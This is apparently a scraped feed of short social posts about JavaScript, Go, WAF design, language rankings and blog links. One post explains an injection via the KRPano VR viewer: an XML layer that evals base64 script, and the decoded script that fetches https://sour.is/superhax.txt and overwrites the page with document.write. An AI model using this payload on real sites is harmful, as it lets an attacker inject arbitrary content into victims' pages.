@arne@uplegger.eu Yeah SSE + HTMX is basically all you need really. The whole complicated/complex JavaScript ecosystem is overkill.
One of the nicest things about Go is the language itself, comparing Go to other popular languages in terms of the complexity to learn to be proficient in:
- Go:
25keywords (Stack Overflow); CSP-style concurrency (goroutines & channels)
- Python 2:
30keywords (TutorialsPoint); GIL-bound threads & multiprocessing (Wikipedia)
- Python 3:
35keywords (Initial Commit); GIL-bound threads,asyncio& multiprocessing (Wikipedia, DEV Community)
- Java:
50keywords (Stack Overflow); threads +java.util.concurrent(Wikipedia)
- C++:
82keywords (Stack Overflow);std::thread, atomics & futures (en.cppreference.com)
- JavaScript:
38keywords (Stack Overflow); single-threaded event loop &async/await, Web Workers (Wikipedia)
- Ruby:
42keywords (Stack Overflow); GIL-bound threads (MRI), fibers & processes (Wikipedia)
Also spent the morning continuing to think about a new design for EdgeGuardâs WAF. Iâm basically going to build an entirely new pluggable WAF that will be designed to only consider Rate Limiting, IP/ASN-based filtering, JavaScript challenge handling, Basic behavioral analysis and Anomaly detection.
The only part of this design Iâm not 100% sure about is the Javascript-based challenge handling? đ¤ Iâm also considering making this into a âproof of workâ requirement too, but I also donât want to falsely block folks that a) turn Javascript⢠off or b) Use a browser like links, elinks or lynx for example.
Hmmm đ§
@lyse@lyse.isobeef.org The one in question is more like the javascript version for unwrapping errors when accessing methods.
const value = some?.deeply?.nested?.object?.value
but for handling errors returned by methods. So if you wanted to chain a bunch of function calls together and if any error return immediately. It would be something like this:
b:= SomeAPIWithErrorsInAllCalls()
b.DoThing1() ?
b.DoThing2() ?
// Though its not in the threads I assume one could do like this to chain.
b.Chain1()?.Chain2()?.End()?
I am however infavor of having a sort of ternary ? in go.
PS. @prologic@twtxt.net for some reason this is eating my response without throwing an error :( I assume it has something to do with the CSRF. Can i not have multiple tabs open with yarn?
So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml parameter has a url that contains the following
<?xml version="1.0"?>
<krpano version="1.0.8.15">
<SCRIPT id="allow-copy_script"/>
<layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>
the omit above is base64 encoded script below:
const queryParams = new URLSearchParams(window.location.search),
id = queryParams.get('id');
id ? fetch('https://sour.is/superhax.txt')
.then(e => e.text())
.then(e => {
document.open(), document.write(e), document.close();
})
.catch(e => {
console.error('Error fetching the user agent:', e);
}) : console.error('No');
this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.
There is JavaScript, but not everything is implemented (properly). Theyâre writing everything including the JavaScript engine from scratch.
A huge effort đ˛
I take it back. Excalidraw is like tldrawâyou can integrate it into a Javascript front end if you want. Which means technically you could self-host it if you wanted, but youâd have to write your own front end code to embed it, and host that code somehow.
@prologic@twtxt.net I see what you mean about tldraw. I looked at their github repository and it seems like they are distributing it as an npm package for people who want to include a whiteboard in their Javascript-based frontend. I didnât see a way to just launch the thing.
I have half a mind to write a little scala frontend that sets up one of these, since scalajs makes it very easy to use these Javascript web component things while making it look like youâre writing scala.
According to the RedMonk programming language rankings from Jan 2023, Go and Scala are tied at 14th place đ
1 JavaScript
2 Python
3 Java
4 PHP
5 C#
6 CSS
7 TypeScript
7 C++
9 Ruby
10 C
11 Swift
12 Shell
12 R
14 Go
14 Scala
16 Objective-C
17 Kotlin
18 PowerShell
19 Rust
19 Dart
I needed something to help with a morning schedule for two kiddos. It highlights the current 5-minute block as it goes. I think this was my first time reaching for JavaScript for a personal project. https://sidequest.club/stages.html
Tell me you write go like javascript without telling me you write go like javascript:
import "runtime/debug"
var Commit = func() string {
if info, ok := debug.ReadBuildInfo(); ok {
for _, setting := range info.Settings {
if setting.Key == "vcs.revision" {
return setting.Value
}
}
}
return ""
}()
I want a browser for iOS thatâs basically Mobile Safari but without JavaScript (or at least an easy toggle). Does such a thing exist?
@fastidious@arrakis.netbros.com the things Gemini has going for it are mutual TLS and lack of JavaScript. Which makes for a secure albeit boring experience (much like gopher). The fake markdown is a bit of a drag.
A render mode for Gemini probably wouldnt be too hard. There are markdown to Gemini libs out there.
With Web3 the whole trust a 3rd party browser ext + high fees + env impact for compute and storage are serious no gos for me.. I have heard one too many horror stories about clicking the wrong link and some script draining your metamask wallet.
JavaScript : web apps
I understand the hate for JavaScript. But what option is there for writing web enabled applications for desktop / mobile?
On the blog: Assembling a Dark Mode https://john.colagioia.net/blog/2021/03/24/darkmode.html #techtips #programming #javascript #rails
On the blog: Writing a Twitter Bot https://john.colagioia.net/blog/2020/10/28/twitter.html #techtips #programming #javascript #twitter
On the blog: Writing Browser Extensions with Configuration https://john.colagioia.net/blog/2020/06/24/store.html #techtips #programming #javascript #browser
On the blog: Writing Browser Extensions https://john.colagioia.net/blog/2020/06/17/plugin.html #techtips #programming #javascript #browser
Posted to Entropy Arbitrage: Experimenting with Worker Threads https://john.colagioia.net/blog/2020/04/15/worker.html #techtips #programming #javascript #threads